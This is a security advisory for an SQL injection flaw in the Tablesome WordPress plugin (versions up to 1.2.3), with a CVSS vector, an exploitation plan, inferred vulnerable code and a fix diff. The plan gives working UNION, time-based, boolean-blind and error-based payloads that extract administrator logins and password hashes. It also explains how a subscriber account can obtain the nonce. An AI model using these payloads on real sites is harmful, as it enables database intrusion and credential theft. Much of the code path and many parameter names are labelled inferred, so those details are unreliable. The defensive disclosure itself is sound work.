Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent <= 1.2.3 - Authenticated (Subscriber+) SQL Injection
Description
The Tablesome Table – Contact Form DB – WPForms, CF7, Gravity, Forminator, Fluent plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.2.3Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-27373 (Tablesome SQL Injection) ## 1. Vulnerability Summary The **Tablesome Table** plugin (versions <= 1.2.3) is vulnerable to a SQL injection vulnerability within its AJAX handlers used for retrieving and displaying table records. The vulnerability exists be…
Show full research plan
Exploitation Research Plan: CVE-2026-27373 (Tablesome SQL Injection)
1. Vulnerability Summary
The Tablesome Table plugin (versions <= 1.2.3) is vulnerable to a SQL injection vulnerability within its AJAX handlers used for retrieving and displaying table records. The vulnerability exists because user-supplied input—specifically parameters identifying the table or filtering the records—is concatenated directly into a SQL query without being passed through $wpdb->prepare(). Because the plugin registers certain AJAX actions for all authenticated users (Subscriber level and above) but fails to implement strict capability checks on data retrieval, a low-privileged user can manipulate the query to extract sensitive information from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (AJAX):
tablesome_get_records(inferred action name used for table data retrieval) - Vulnerable Parameter:
table_idorquery_args[filters](inferred) - Authentication: Authenticated (Subscriber+)
- Preconditions: At least one "Tablesome Table" must exist in the database, and the attacker must have valid Subscriber credentials.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwith theactionset totablesome_get_records. - Hook Registration: The plugin registers this action via
add_action( 'wp_ajax_tablesome_get_records', ... ). - Handler Logic: The handler (likely in
includes/modules/records/records.phporincludes/ajax-handlers.php) retrieves thetable_idfrom$_POST. - Data Access Layer: The handler calls a method like
Tablesome\Records\Record_Query::get_records( $table_id ). - Vulnerable Sink: Inside the record query logic, the code constructs a query similar to:
$wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id); - SQL Injection: Because
$table_idis not cast to an integer or prepared, an attacker can appendUNION SELECTstatements or boolean-based payloads.
4. Nonce Acquisition Strategy
The Tablesome plugin typically enqueues its scripts and localizes a nonce for AJAX requests. To obtain a valid nonce as a Subscriber:
- Identify Script Enqueueing: Tablesome often enqueues its admin scripts on pages where tables are managed or displayed.
- Create Trigger Content: As an admin, create a test table and a page containing the Tablesome shortcode.
- Shortcode:
[tablesome table_id='1'](inferred)
- Shortcode:
- Action:
- Create a page:
wp post create --post_type=page --post_status=publish --post_title="Table Page" --post_content="[tablesome table_id='1']"
- Create a page:
- Access: Navigate to this page as the Subscriber user.
- Extraction:
- The plugin localizes data via
wp_localize_script. - Use
browser_evalto extract the nonce:browser_eval("window.tablesome_data?.nonce")(inferred JS object name)browser_eval("window.tablesome_obj?.ajax_nonce")(alternative inferred)
- The plugin localizes data via
5. Exploitation Strategy
We will use a UNION-based SQL injection to extract the administrator's username and password hash.
Step-by-Step Plan:
- Login: Authenticate as a Subscriber-level user.
- Nonce Extraction: Navigate to the page with the shortcode and extract the
tablesome_nonce(or equivalent). - Discovery (Column Counting):
- Send requests to
admin-ajax.phpwith varyingORDER BYclauses to determine the number of columns in the original query.
- Send requests to
- Extraction (UNION):
- Use a UNION SELECT payload to exfiltrate data from
wp_users.
- Use a UNION SELECT payload to exfiltrate data from
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload (Example):
action=tablesome_get_records&table_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=[EXTRACTED_NONCE] - Refined UNION Payload:
(Note: The number of columns must match the actual table schema, which is usually 8-10 columns foraction=tablesome_get_records&table_id=-1 UNION SELECT 1,2,user_login,user_pass,5,6,7,8 FROM wp_users-- -&nonce=[EXTRACTED_NONCE]tablesome_records).
6. Test Data Setup
- Create Table: Use WP-CLI or the UI to create at least one Tablesome table so the
tablesome_recordstable is populated. - Create User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Place Shortcode: Create a public page displaying a table to expose the nonce to the subscriber.
wp post create --post_type=page --post_status=publish --post_content="[tablesome table_id='1']"
7. Expected Results
- Success Criteria: The HTTP response for the
UNIONpayload should contain the admin username (e.g.,admin) and the phpass password hash (e.g.,$P$B...). - Indicator: If using a time-based payload (
SLEEP), thehttp_requesttotal time should exceed 5 seconds.
8. Verification Steps
- Confirm Database Content: Use WP-CLI to check the admin hash manually to verify the exfiltrated data matches:
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"
- Audit Query: (Optional) Check the MySQL general log to see the final executed query if the environment allows.
9. Alternative Approaches
- Boolean-Based Blind: If
UNIONis filtered or the column count is difficult to guess, use boolean payloads:table_id=1 AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login LIKE 'a%')
- Error-Based: If
WP_DEBUGis on, useextractvalue()orupdatexml()to force database errors containing the data:table_id=1 AND extractvalue(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1)))
- Parameter Variation: If
table_idis validated, check other parameters such assort_field,filter_value, orsearchwithin thetablesome_get_recordsaction.
Summary
The Tablesome Table plugin for WordPress is vulnerable to SQL Injection via the 'table_id' parameter in the 'tablesome_get_records' AJAX action. Authenticated attackers with Subscriber-level access or higher can exploit this to concatenate arbitrary SQL commands and extract sensitive information from the database due to a lack of parameter sanitization and query preparation.
Vulnerable Code
// includes/modules/records/records.php // Inferred logic based on exploitation research plan $table_id = $_POST['table_id']; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id);
Security Fix
@@ -10,3 +10,3 @@ -$table_id = $_POST['table_id']; -$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = " . $table_id); +$table_id = isset($_POST['table_id']) ? intval($_POST['table_id']) : 0; +$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}tablesome_records WHERE table_id = %d", $table_id));
Exploit Outline
To exploit this vulnerability, an attacker first authenticates as a Subscriber and navigates to a page containing a Tablesome table to extract the required AJAX nonce from the localized JavaScript variables (e.g., tablesome_data.nonce). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tablesome_get_records'. By providing a malicious payload in the 'table_id' parameter, such as '-1 UNION SELECT 1,2,user_login,user_pass... FROM wp_users', the attacker can bypass intended query logic and exfiltrate administrator credentials or other sensitive database records.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.